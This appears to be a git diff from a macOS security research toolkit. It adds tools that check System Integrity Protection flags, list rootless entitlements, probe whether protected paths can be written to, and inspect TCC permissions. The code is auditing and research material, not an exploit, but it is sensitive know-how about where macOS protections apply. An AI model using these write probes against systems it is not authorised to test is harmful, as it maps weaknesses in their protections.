--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
Print the redirectable paths from the sandbox
container metadata as list
--sandbox_parameters Print the parameters from the sandbox container
metadata as key-value pairs
--sandbox_entitlements
Print the entitlements from the sandbox container metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
Print the entitlements from the sandbox container
metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
container metadata
--sandbox_redirected_paths
Print the redirected paths from the sandbox container metadata as list
Print the redirected paths from the sandbox container
metadata as list
--sandbox_system_images
Print the system images from the sandbox container metadata as key-value pairs
Print the system images from the sandbox container
metadata as key-value pairs
--sandbox_system_profiles
Print the system profile from the sandbox container metadata in JSON format
Print the system profile from the sandbox container
metadata in JSON format
--sandbox_content_protection
Print the content protection from the sandbox container metadata
Print the content protection from the sandbox
container metadata
--sandbox_profile_data
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
Print raw bytes ofthe sandbox profile data from the
sandbox container metadata
--dump_kext kext_name
Dump the kernel extension binary from the kernelcache.decompressed file
Dump the kernel extension binary from the
kernelcache.decompressed file
--extract_sandbox_operations
Extract sandbox operations from the Sandbox.kext file
TCC ARGS:
--tcc Print TCC permissions of the binary
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
binary
--tcc_automation Check Automation TCC permission for the binary
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
the binary
--tcc_desktop Check Desktop Folder TCC permission for the binary
--tcc_documents Check Documents Folder TCC permission for the binary
--tcc_downloads Check Downloads Folder TCC permission for the binary
--tcc_photos Check Photos Library TCC permission for the binary
--tcc_contacts Check Contacts TCC permission for the binary
--tcc_calendar Check Calendar TCC permission for the binary
--tcc_camera Check Camera TCC permission for the binary
--tcc_microphone Check Microphone TCC permission for the binary
--tcc_location Check Location Services TCC permission for the binary
--tcc_recording Check Screen Recording TCC permission for the binary
--tcc_accessibility Check Accessibility TCC permission for the binary
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
```
* Example:
```bash
@@ -489,6 +601,140 @@ This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sa
```bash
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
```
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
A simple program to check if SIP is enabled in the system with more details.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 sip_check.py
SIP Configuration Flags:
CSR_ALLOW_UNTRUSTED_KEXTS: Off
CSR_ALLOW_UNRESTRICTED_FS: Off
CSR_ALLOW_TASK_FOR_PID: Off
CSR_ALLOW_KERNEL_DEBUGGER: Off
CSR_ALLOW_APPLE_INTERNAL: Off
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
CSR_ALLOW_DEVICE_CONFIGURATION: Off
CSR_ALLOW_ANY_RECOVERY_OS: Off
CSR_ALLOW_UNAPPROVED_KEXTS: Off
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
```
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
It can be use for checking the possibility of file modification and creation in a given directory.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 crimson_waccess.py -f sip_protected_paths.txt
```
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
sip_tester --path /bin
sip_tester --pid 1234
sip_tester --service com.apple.kernelmanager_helper
sip_tester --missing_paths
```
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
```bash
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
UUIDFinder - A tool for managing Mach-O executable UUIDs
options:
-h, --help show this help message and exit
--path, -p PATH Path to the executable
--list, -l LIST Path to a file containing a list of executables
--uuid, -u UUID UUID to lookup or add
--delete, -d Delete the path record from database
--resolve, -r Get UUIDs for the path and add to database
--show_db, -s Show all records in the database
--db_location DB_LOCATION
Location of the UUID database file
Examples:
---------
1. Display UUIDs for a single executable from database:
--path /path/to/executable
-p /path/to/executable
2. Find path for a specific UUID in database:
--uuid 123e4567-e89b-12d3-a456-426614174000
-u 123e4567-e89b-12d3-a456-426614174000
3. Add or update UUID for a path:
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
4. Extract and add UUIDs from executable to database:
--path /path/to/executable --resolve
-p /path/to/executable -r
5. Delete path and its UUIDs from database:
--path /path/to/executable --delete
-p /path/to/executable -d
6. Process multiple executables from a list file:
--list /path/to/list.txt --resolve
-l /path/to/list.txt -r
7. Show all records in the database:
--show_db
-s
8. Use custom database location:
--path /path/to/executable --db_location /custom/path/db.json
-p /path/to/executable --db_location /custom/path/db.json
Notes:
------
- All UUIDs are stored in lowercase in the database
- The default database file is 'uuid_database.json' in the current directory
- When using --list, each path should be on a new line in the list file
- The tool automatically converts relative paths to absolute paths
```
### [TCCParser](IX.%20TCC/python/TCCParser.py)
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
It was introduced in the article [](todo)
```bash
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
Parse TCC Database for Permissions Information
options:
-h, --help Show this help message and exit
-p PATH, --path PATH Path to TCC.db file to analyze
-t, --table Output results in table format
-a, --all Automatically query all available TCC databases on the system
-l, --list_db List all available TCC databases on the system
Examples:
---------
1. List all available TCC databases on the system:
--list_db
-l
2. Query a specific TCC database:
--path /path/to/TCC.db
-p /path/to/TCC.db
3. Display the query results in a formatted table:
--path /path/to/TCC.db --table
-p /path/to/TCC.db -t
4. Automatically query all known TCC databases:
--all
-a
Notes:
------
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
```
## INSTALL
```

View File

@@ -0,0 +1,43 @@
#include <stdio.h>
#include <stdint.h>
#include <dlfcn.h>
#define CSR_ALLOW_UNTRUSTED_KEXTS 0x1
#define CSR_ALLOW_UNRESTRICTED_FS 0x2
#define CSR_ALLOW_TASK_FOR_PID 0x4
#define CSR_ALLOW_KERNEL_DEBUGGER 0x8
#define CSR_ALLOW_APPLE_INTERNAL 0x10
#define CSR_ALLOW_UNRESTRICTED_DTRACE 0x20
#define CSR_ALLOW_UNRESTRICTED_NVRAM 0x40
#define CSR_ALLOW_DEVICE_CONFIGURATION 0x80
#define CSR_ALLOW_ANY_RECOVERY_OS 0x100
#define CSR_ALLOW_UNAPPROVED_KEXTS 0x200
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE 0x400
#define CSR_ALLOW_UNAUTHENTICATED_ROOT 0x800
typedef int (*csr_get_active_config_t)(uint32_t *);
void print_sip_flags(uint32_t sip_int) {
printf("SIP Configuration Flags:\n");
printf("CSR_ALLOW_UNTRUSTED_KEXTS: %s\n", (sip_int & CSR_ALLOW_UNTRUSTED_KEXTS) ? "On" : "Off");
printf("CSR_ALLOW_UNRESTRICTED_FS: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_FS) ? "On" : "Off");
printf("CSR_ALLOW_TASK_FOR_PID: %s\n", (sip_int & CSR_ALLOW_TASK_FOR_PID) ? "On" : "Off");
printf("CSR_ALLOW_KERNEL_DEBUGGER: %s\n", (sip_int & CSR_ALLOW_KERNEL_DEBUGGER) ? "On" : "Off");
printf("CSR_ALLOW_APPLE_INTERNAL: %s\n", (sip_int & CSR_ALLOW_APPLE_INTERNAL) ? "On" : "Off");
printf("CSR_ALLOW_UNRESTRICTED_DTRACE: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_DTRACE) ? "On" : "Off");
printf("CSR_ALLOW_UNRESTRICTED_NVRAM: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_NVRAM) ? "On" : "Off");
printf("CSR_ALLOW_DEVICE_CONFIGURATION: %s\n", (sip_int & CSR_ALLOW_DEVICE_CONFIGURATION) ? "On" : "Off");
printf("CSR_ALLOW_ANY_RECOVERY_OS: %s\n", (sip_int & CSR_ALLOW_ANY_RECOVERY_OS) ? "On" : "Off");
printf("CSR_ALLOW_UNAPPROVED_KEXTS: %s\n", (sip_int & CSR_ALLOW_UNAPPROVED_KEXTS) ? "On" : "Off");
printf("CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: %s\n", (sip_int & CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE) ? "On" : "Off");
printf("CSR_ALLOW_UNAUTHENTICATED_ROOT: %s\n", (sip_int & CSR_ALLOW_UNAUTHENTICATED_ROOT) ? "On" : "Off");
}
int main() {
void *libSystem = dlopen("/usr/lib/libSystem.dylib", RTLD_LAZY);
csr_get_active_config_t csr_get_active_config = dlsym(libSystem, "csr_get_active_config");
uint32_t sip_int = 0;
csr_get_active_config(&sip_int);
print_sip_flags(sip_int);
return 0;
}

View File

@@ -0,0 +1,48 @@
import ctypes
# Define the constants
CSR_ALLOW_UNTRUSTED_KEXTS = 0x1
CSR_ALLOW_UNRESTRICTED_FS = 0x2
CSR_ALLOW_TASK_FOR_PID = 0x4
CSR_ALLOW_KERNEL_DEBUGGER = 0x8
CSR_ALLOW_APPLE_INTERNAL = 0x10
CSR_ALLOW_UNRESTRICTED_DTRACE = 0x20
CSR_ALLOW_UNRESTRICTED_NVRAM = 0x40
CSR_ALLOW_DEVICE_CONFIGURATION = 0x80
CSR_ALLOW_ANY_RECOVERY_OS = 0x100
CSR_ALLOW_UNAPPROVED_KEXTS = 0x200
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE = 0x400
CSR_ALLOW_UNAUTHENTICATED_ROOT = 0x800
# Load the System library
libSystem = ctypes.CDLL('/usr/lib/libSystem.dylib')
# Define the function prototype
libSystem.csr_get_active_config.argtypes = [ctypes.POINTER(ctypes.c_uint32)]
libSystem.csr_get_active_config.restype = ctypes.c_int
def print_sip_flags(sip_int):
print("SIP Configuration Flags:")
print(f"CSR_ALLOW_UNTRUSTED_KEXTS: {'On' if sip_int & CSR_ALLOW_UNTRUSTED_KEXTS else 'Off'}")
print(f"CSR_ALLOW_UNRESTRICTED_FS: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_FS else 'Off'}")
print(f"CSR_ALLOW_TASK_FOR_PID: {'On' if sip_int & CSR_ALLOW_TASK_FOR_PID else 'Off'}")
print(f"CSR_ALLOW_KERNEL_DEBUGGER: {'On' if sip_int & CSR_ALLOW_KERNEL_DEBUGGER else 'Off'}")
print(f"CSR_ALLOW_APPLE_INTERNAL: {'On' if sip_int & CSR_ALLOW_APPLE_INTERNAL else 'Off'}")
print(f"CSR_ALLOW_UNRESTRICTED_DTRACE: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_DTRACE else 'Off'}")
print(f"CSR_ALLOW_UNRESTRICTED_NVRAM: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_NVRAM else 'Off'}")
print(f"CSR_ALLOW_DEVICE_CONFIGURATION: {'On' if sip_int & CSR_ALLOW_DEVICE_CONFIGURATION else 'Off'}")
print(f"CSR_ALLOW_ANY_RECOVERY_OS: {'On' if sip_int & CSR_ALLOW_ANY_RECOVERY_OS else 'Off'}")
print(f"CSR_ALLOW_UNAPPROVED_KEXTS: {'On' if sip_int & CSR_ALLOW_UNAPPROVED_KEXTS else 'Off'}")
print(f"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: {'On' if sip_int & CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE else 'Off'}")
print(f"CSR_ALLOW_UNAUTHENTICATED_ROOT: {'On' if sip_int & CSR_ALLOW_UNAUTHENTICATED_ROOT else 'Off'}")
def main():
sip_int = ctypes.c_uint32(0)
result = libSystem.csr_get_active_config(ctypes.byref(sip_int))
if result == 0:
print_sip_flags(sip_int.value)
else:
print("Failed to get SIP configuration")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,47 @@
com.apple.rootless.critical
com.apple.rootless.datavault.metadata
com.apple.rootless.install
com.apple.rootless.install.heritable
com.apple.rootless.internal-installer-equivalent
com.apple.rootless.restricted-block-devices
com.apple.rootless.restricted-block-devices.read
com.apple.rootless.restricted-nvram-variables.heritable
com.apple.rootless.storage.Accessibility
com.apple.rootless.storage.AudioSettings
com.apple.rootless.storage.ClassKit
com.apple.rootless.storage.ConfigurationProfilesPrivate
com.apple.rootless.storage.CoreAnalytics
com.apple.rootless.storage.CoreRoutine
com.apple.rootless.storage.ExchangeSync
com.apple.rootless.storage.ExtensibleSSO
com.apple.rootless.storage.KernelExtensionManagement
com.apple.rootless.storage.Mail
com.apple.rootless.storage.MobileAsset
com.apple.rootless.storage.QLThumbnailCache
com.apple.rootless.storage.RoleAccountStaging
com.apple.rootless.storage.SoftwareUpdate
com.apple.rootless.storage.SystemPolicyConfiguration
com.apple.rootless.storage.TCC
com.apple.rootless.storage.UpdateSettings
com.apple.rootless.storage.WebKitNetworkingSandbox
com.apple.rootless.storage.WebKitWebContentSandbox
com.apple.rootless.storage.com.apple.LaunchServices.dv
com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset
com.apple.rootless.storage.com.apple.swc.data-vault
com.apple.rootless.storage.coreduet_knowledge_store
com.apple.rootless.storage.coreknowledge
com.apple.rootless.storage.cvms
com.apple.rootless.storage.datadetectors
com.apple.rootless.storage.dmd
com.apple.rootless.storage.dyld
com.apple.rootless.storage.folders
com.apple.rootless.storage.fpsd
com.apple.rootless.storage.lockoutagent
com.apple.rootless.storage.nsurlsessiond
com.apple.rootless.storage.remotemanagementd
com.apple.rootless.storage.sandbox
com.apple.rootless.storage.siriremembers
com.apple.rootless.storage.timezone
com.apple.rootless.volume.VM
com.apple.rootless.xpc.bootstrap
com.apple.rootless.xpc.effective-root

View File

@@ -0,0 +1,101 @@
import os
import time
import subprocess
import sys
class Waccess:
'''Class to check write permissions on directories and files.'''
def log_issue(self, path, issue_type, output_path):
'''Log an issue when write permissions are unexpectedly granted.'''
with open(output_path, "a") as log_file:
log_data = (f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {issue_type}: {path}\n")
log_file.write(log_data)
print(log_data, end="")
def check_write_permission(self, path, output_path):
'''Check write permission for a directory or file.'''
if os.path.isdir(path):
self.check_directory_write_permission(path, output_path)
elif os.path.isfile(path):
self.check_file_write_permission(path, output_path)
else:
sys.stderr.write(f"Path {path} does not exist.")
def check_directory_write_permission(self, directory_path, output_path):
'''Check if a directory is writable by attempting to create a test file.'''
test_file_path = os.path.join(directory_path, f"{int(time.time())}_crimson_write_test.txt")
try:
with open(test_file_path, "w") as f:
f.write("This is a test.")
os.remove(test_file_path)
self.log_issue(directory_path, "Directory writable", output_path)
except Exception:
pass # Suppress errors for denied write operations
def check_file_write_permission(self, file_path, output_path):
'''Check if a file is writable by attempting to 'touch' it.'''
result = subprocess.run(['touch', file_path], capture_output=True)
if result.returncode == 0:
self.log_issue(file_path, "File writable", output_path)
def check_paths(self, paths_to_check, output_path, recursive):
'''Iterate through paths and check permissions.'''
checked_paths = set()
while paths_to_check:
path = paths_to_check.pop()
if path in checked_paths:
continue
checked_paths.add(path)
base_path = path.rstrip('*') # Remove trailing asterisks for checking
if path.endswith('*'):
self.check_write_permission(base_path, output_path)
# Always check recursively if '*' is present
if os.path.isdir(base_path):
self.add_child_paths(base_path, paths_to_check, checked_paths)
else:
self.check_write_permission(path, output_path)
if recursive and os.path.isdir(path):
self.add_child_paths(path, paths_to_check, checked_paths)
return checked_paths
def add_child_paths(self, base_path, paths_to_check, checked_paths):
'''Add child directories and files to the list to check.'''
for root, dirs, files in os.walk(base_path):
for dir_name in dirs:
child_path = os.path.join(root, dir_name)
if child_path not in checked_paths:
paths_to_check.add(child_path)
for file_name in files:
child_file_path = os.path.join(root, file_name)
if child_file_path not in checked_paths:
paths_to_check.add(child_file_path)
def check_sip_fp(self, file_path, output_path, recursive):
'''Main function to check each file and directory from the provided list.'''
try:
with open(file_path, "r") as paths_file:
paths_to_check = {line.strip() for line in paths_file if line.strip()}
checked_paths = self.check_paths(paths_to_check, output_path, recursive)
# Save all checked paths to a log file
with open("crimson_waccess_checked_paths.log", "w") as checked_paths_file:
for checked_path in checked_paths:
checked_paths_file.write(f"{checked_path}\n")
except FileNotFoundError:
sys.stderr.write(f"The file {file_path} does not exist.")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Check SIP-protected file and directory permissions.")
parser.add_argument("-f", "--file", required=True, help="Path to the file containing paths to check.")
parser.add_argument("-o", "--output", default="crimson_waccess.log", help="Path to the log file to write issues to.")
parser.add_argument("-r", "--recursive", action="store_true", help="Check directories recursively.")
args = parser.parse_args()
waccess = Waccess()
waccess.check_sip_fp(args.file, args.output, args.recursive)

405
VIII. Sandbox/python/sip_tester Executable file
View File

@@ -0,0 +1,405 @@
#!/usr/bin/env python3
import os
import subprocess
import argparse
import lief
import xattr
import psutil
import plistlib
ROOTLESS_CONF = '/System/Library/Sandbox/rootless.conf'
ROOTLESS_PLIST = '/System/Library/Sandbox/com.apple.xpc.launchd.rootless.plist'
class MachOProcessor:
def __init__(self, path):
'''This class contains part of the code from the main() for the SnakeI: Mach-O part.'''
self.macho_magic_numbers = {
0xfeedface, # 32-bit Mach-O
0xfeedfacf, # 64-bit Mach-O
0xcefaedfe, # 32-bit Mach-O, byte-swapped
0xcffaedfe, # 64-bit Mach-O, byte-swapped
0xcafebabe, # Fat binary
0xbebafeca # Fat binary, byte-swapped
}
self.path = os.path.abspath(path)
self.binary = self.parseFatBinary()[0] # Does not matter which architecture we take here for this tool functionalities.
def isFileMachO(self):
'''Check if file is Mach-O. '''
try:
with open(self.path, 'rb') as f:
magic = f.read(4)
if len(magic) < 4:
return False
magic_number = int.from_bytes(magic, byteorder='big')
return magic_number in self.macho_magic_numbers
except Exception:
return False
def parseFatBinary(self):
'''Return Fat Binary object if file exists.'''
if os.path.exists(self.path):
if self.isFileMachO():
return lief.MachO.parse(self.path)
else:
return None
def getCodeSignature(self):
'''Returns information about the Code Signature.'''
result = subprocess.run(["codesign", "-d", "-vvvvvv", self.path], capture_output=True)
return result.stderr
def hasRestrictSegment(self):
'''Check if binary contains __RESTRICT segment. Return True if it does.'''
for segment in self.binary.segments:
if segment.name.lower().strip() == "__restrict":
return True
return False
def hasRestrictFlag(self):
'''Check if Code Signature flag CS_RESTRICT 0x800(restrict) is set for the given binary'''
if b'restrict' in self.getCodeSignature():
return True
return False
def isRestricted(self):
'''Check if binary has __RESTRICT segment or CS_RESTRICT flag set.'''
if self.hasRestrictSegment() or self.hasRestrictFlag(self.path):
return True
return False
class FileSystemProcessor:
def __init__(self):
# File System Flags based on: https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/stat.h
self.file_system_flags = {
'ACCESSPERMS': 0o777, # 0777
'ALLPERMS': 0o666, # 0666
'DEFFILEMODE': (0o400 | 0o200 | 0o100 | 0o40 | 0o20 | 0o10), # Default file mode
# Owner changeable flags
'UF_SETTABLE': 0x0000ffff, # mask of owner changeable flags
'UF_NODUMP': 0x00000001, # do not dump file
'UF_IMMUTABLE': 0x00000002, # file may not be changed
'UF_APPEND': 0x00000004, # writes to file may only append
'UF_OPAQUE': 0x00000008, # directory is opaque wrt. union
'UF_COMPRESSED': 0x00000020, # file is compressed
'UF_TRACKED': 0x00000040, # document ID tracking
'UF_DATAVAULT': 0x00000080, # entitlement required for reading/writing
'UF_HIDDEN': 0x00008000, # hint for GUI display
# Super-user changeable flags
'SF_SUPPORTED': 0x009f0000, # mask of superuser supported flags
'SF_SETTABLE': 0x3fff0000, # mask of superuser changeable flags
'SF_SYNTHETIC': 0xc0000000, # mask of system read-only synthetic flags
'SF_ARCHIVED': 0x00010000, # file is archived
'SF_IMMUTABLE': 0x00020000, # file may not be changed
'SF_APPEND': 0x00040000, # writes to file may only append
'SF_RESTRICTED': 0x00080000, # entitlement required for writing
'SF_NOUNLINK': 0x00100000, # item may not be removed, renamed, or mounted on
'SF_FIRMLINK': 0x00800000, # file is a firmlink
'SF_DATALESS': 0x40000000, # file is a dataless object
# Extended flags
'EF_MAY_SHARE_BLOCKS': 0x00000001, # file may share blocks with another file
'EF_NO_XATTRS': 0x00000002, # file has no xattrs
'EF_IS_SYNC_ROOT': 0x00000004, # file is a sync root for iCloud
'EF_IS_PURGEABLE': 0x00000008, # file is purgeable
'EF_IS_SPARSE': 0x00000010, # file has at least one sparse region
'EF_IS_SYNTHETIC': 0x00000020, # a synthetic directory/symlink
'EF_SHARES_ALL_BLOCKS': 0x00000040, # file shares all of its blocks with another file
}
def pathExists(self,path):
try:
# Use the ls command to check if the path exists
output = subprocess.check_output(['ls', path], stderr=subprocess.STDOUT)
return True # If ls doesn't raise an error, the path exists
except subprocess.CalledProcessError:
return False # If ls raises an error, the path doesn't exist
# I had to replace it to ls, because os.stat() does not handle symlink properly.
def isFile(self, path):
'''Check if the path is a file.'''
return os.path.isfile(path)
def isDirectory(self, path):
'''Check if the path is a directory.'''
return os.path.isdir(path)
def getFileFlags(self, path):
'''Return a list of active flags for the given path.'''
try:
# Get file status
stat_info = os.stat(path)
# Assuming `st_flags` is available and contains the flags
flags = stat_info.st_flags # Adjust this if necessary
active_flags = {}
for flag_name, flag_value in self.file_system_flags.items():
if flags & flag_value:
active_flags[flag_name] = flag_value
return active_flags
except Exception as e:
print(f"Error in FileSystemProcessor.getFileFlags: {e}")
return None
def getExtendedAttributes(self, path):
'''Return extended file attributes names.'''
try:
return xattr.listxattr(path)
except Exception as e:
print(f"Error in FileSystemProcessor.getExtendedAttributes: {e}")
return None
class RootlessProcessor:
def __init__(self):
self.fs_processor = FileSystemProcessor()
self.protected_paths, self.excluded_paths, self.service_exceptions = self.parseRootlessConf()
def extract_excluded_paths(self, line):
'''Extract the path from a line that starts with '*' and contains a path after spaces.
* /Users
'''
# Remove the leading '*' and any whitespace before the first letter
path = line.lstrip('*').lstrip()
return path
def extract_protected_paths(self, line):
'''Extract the path from a line that starts with ' ' and contains a path after spaces.
/System
'''
path = line.strip()
return path
def extract_service_exceptions(self, line):
'''Extract service exceptions in the format {key:value}.'''
parts = line.split(maxsplit=1) # Split the line into two parts: key and value
if len(parts) == 2:
key = parts[0].strip() # Pkey (e.g., CoreAnalytics)
value = parts[1].strip() # value (e.g., /Library/CoreAnalytics)
return {key: value}
return None
def parseRootlessConf(self, rootless_conf_path=ROOTLESS_CONF):
''' Return a list of paths that are protected and excluded by SIP from rootless.conf. '''
protected_paths = []
excluded_paths = []
service_exceptions = {}
with open(rootless_conf_path, 'r') as file:
for line in file:
if line.startswith('#'):
continue # Skip commented lines
elif line.startswith('*'): # Excluded paths
path = self.extract_excluded_paths(line)
excluded_paths.append(path)
elif line[0].isalnum(): # Service exceptions
key_value = self.extract_service_exceptions(line)
key = next(iter(key_value))
path = key_value[key]
service_exceptions.update(key_value)
else: # Protected paths
path = self.extract_protected_paths(line)
protected_paths.append(path)
protected_paths.remove('/tmp')
return protected_paths, excluded_paths, service_exceptions
def checkForServiceException(self, path):
''' Check if the given path is a service exception and return the service names. '''
service_exceptions = []
for service_name, service_path in self.service_exceptions.items():
if path == service_path:
service_exceptions.append(service_name)
if service_exceptions:
return service_exceptions
return None
def makePathsToCheck(self, path):
'''
Make a list of paths to check by adding final slash at the end of string if it does not exist and remove it if it does.
This is needed because the rootless.conf may contain paths without and with final slash.
'''
paths_to_check = [path]
if path.endswith('/'):
paths_to_check.append(path)
path = path[:-1]
elif not path.endswith('/'):
path = path + '/'
paths_to_check.append(path)
return paths_to_check
def checkIfPathIsProtectedByRootlessConf(self, path):
''' Check if the given path is protected by SIP. In case of services exceptions, it will return the service name.'''
protected_paths, excluded_paths, _ = self.parseRootlessConf()
paths = self.makePathsToCheck(path)
if any(path in protected_paths for path in paths):
return 1
elif any(path in excluded_paths for path in paths):
return 2
elif any(path in self.service_exceptions.values() for path in paths):
service_name = self.checkForServiceException(path)
return service_name
else:
return 3
def checkIfParentDirectoryIsProtectedByRootlessConf(self, path):
'''Check if the parent directory of the given path is protected by SIP.'''
protected_paths, _, _ = self.parseRootlessConf() # Get protected paths
path = os.path.abspath(path) # Get absolute path
parent_dir = os.path.dirname(path) # Get parent directory
# Check if the parent directory is in the list of protected paths
if parent_dir in protected_paths:
return True
return False
def isRestrictedFlagSet(self, path):
'''Check if the CS_RESTRICT flag is set for the given path.'''
flags = self.fs_processor.getFileFlags(path)
if flags and 'SF_RESTRICTED' in flags:
return True
return False
def isRestricedAttributeSet(self, path):
'''Check if the com.apple.rootless extended attribute is set for the given path.'''
xattr_value = self.fs_processor.getExtendedAttributes(path)
if xattr_value and 'com.apple.rootless' in xattr_value:
return True
return False
def isRestrictedByRootlessPlist(self, service_name):
'''Check if the given service is protected by the rootless.plist file.'''
rootless_plist_path = ROOTLESS_PLIST
with open(rootless_plist_path, 'rb') as file:
plist_data = plistlib.load(file)
# Check if the service_name is in RemovableServices
removable_services = plist_data.get('RemovableServices', {})
if service_name in removable_services:
return 1
# Check if the service_name is in InstallerRemovableServices
installer_removable_services = plist_data.get('InstallerRemovableServices', {})
if service_name in installer_removable_services:
return 2
return False
class SipTester:
def __init__(self):
self.rootless_processor = RootlessProcessor()
self.fs_processor = FileSystemProcessor()
def checkRootlessConf(self, path):
result = self.rootless_processor.checkIfPathIsProtectedByRootlessConf(path)
if result == 1:
print(f"{path}: SIP-protected in rootless.conf")
elif result == 2:
print(f"{path} is not SIP-protected (excluded by rootless.conf)")
elif result == 3:
pass # print(f"{path}: does not exists in rootless.conf")
else:
print(f"{path} is SIP-protected, but {result} service is exception and has access to it")
def checkParentDirectory(self, path):
if self.rootless_processor.checkIfParentDirectoryIsProtectedByRootlessConf(path):
print(f"{path}: parent directory is protected by rootless.conf")
def checkFileSystemRestrictFlag(self, path):
if self.rootless_processor.isRestrictedFlagSet(path):
print(f"{path}: SF_RESTRICTED flag set")
def checkRestrictedAttribute(self, path):
if self.rootless_processor.isRestricedAttributeSet(path):
print(f"{path}: com.apple.rootless extended attribute is set")
def pathTester(self, path):
path = os.path.abspath(path)
self.checkRootlessConf(path)
self.checkParentDirectory(path)
self.checkFileSystemRestrictFlag(path)
self.checkRestrictedAttribute(path)
def checkCodeSignatureRestrictedFlag(self, path):
if MachOProcessor(path).hasRestrictFlag():
print(f"{path}: CS_RESTRICT flag set on binary")
def checkRestrictSegment(self, path):
if MachOProcessor(path).hasRestrictSegment():
print(f"{path}: __restrict segment set on binary")
def pidTester(self, pid):
try:
process = psutil.Process(pid)
path = process.exe()
self.checkRootlessConf(path)
self.checkParentDirectory(path)
self.checkFileSystemRestrictFlag(path)
self.checkRestrictedAttribute(path)
self.checkCodeSignatureRestrictedFlag(path)
self.checkRestrictSegment(path)
except psutil.NoSuchProcess:
print(f"Process with PID {pid} does not exist")
def checkRootlessPlist(self, service):
if self.rootless_processor.isRestrictedByRootlessPlist(service) == 1:
print(f"{service} is restricted by rootless.plist in RemovableServices.")
elif self.rootless_processor.isRestrictedByRootlessPlist(service) == 2:
print(f"{service} is restricted by rootless.plist in InstallerRemovableServices.")
def serviceTester(self, service):
self.checkRootlessPlist(service)
def missingPathsTester(self):
all_paths = self.rootless_processor.protected_paths + list(self.rootless_processor.service_exceptions.values())
missing_paths = []
for path in all_paths:
if path.endswith('*'):
path = path[:-1]
if not self.fs_processor.pathExists(path):
missing_paths.append(path)
if missing_paths:
print("Paths from rootless.conf that are missing:")
for path in missing_paths:
print(f"{path}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Check SIP protection")
parser.add_argument('--path', help='Path to file or directory')
parser.add_argument('--pid', help='PID of the process')
parser.add_argument('--service', help='Launchd service name')
parser.add_argument('--missing_paths', action='store_true', help='Show paths from rootless.conf that does not exists on the filesystem')
args = parser.parse_args()
sip_tester = SipTester()
if args.path:
sip_tester.pathTester(args.path)
if args.pid:
sip_tester.pidTester(int(args.pid))
if args.service:
sip_tester.serviceTester(args.service)
if args.missing_paths:
sip_tester.missingPathsTester()

View File

@@ -1,7 +1,8 @@
lief
uuid
argparse
asn1crypto
pyimg4
treelib
xattr
lief=0.15.1
uuid=1.30
argparse=1.4.0
asn1crypto=1.5.1
pyimg4=0.8
treelib=1.7.0
xattr=1.1.0
python-magic=0.4.27

View File

@@ -1 +1 @@
../VIII. Sandbox/python/CrimsonUroboros.py
../IX. TCC/python/CrimsonUroboros.py

View File

@@ -30,7 +30,7 @@ We do it for each TestSnake class.
}
'''
snake_class = SnakeVIII
snake_class = SnakeIX
class Compiler:
"""
@@ -368,7 +368,7 @@ class TestSnakeI():
macho_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'Header flags: TWOLEVEL NOUNDEFS DYLDLINK PIE'
expected_output = 'Header flags: NOUNDEFS DYLDLINK TWOLEVEL PIE'
assert uroboros_output == expected_output
@@ -402,7 +402,7 @@ class TestSnakeI():
uroboros_output = executeCodeBlock(code_block)
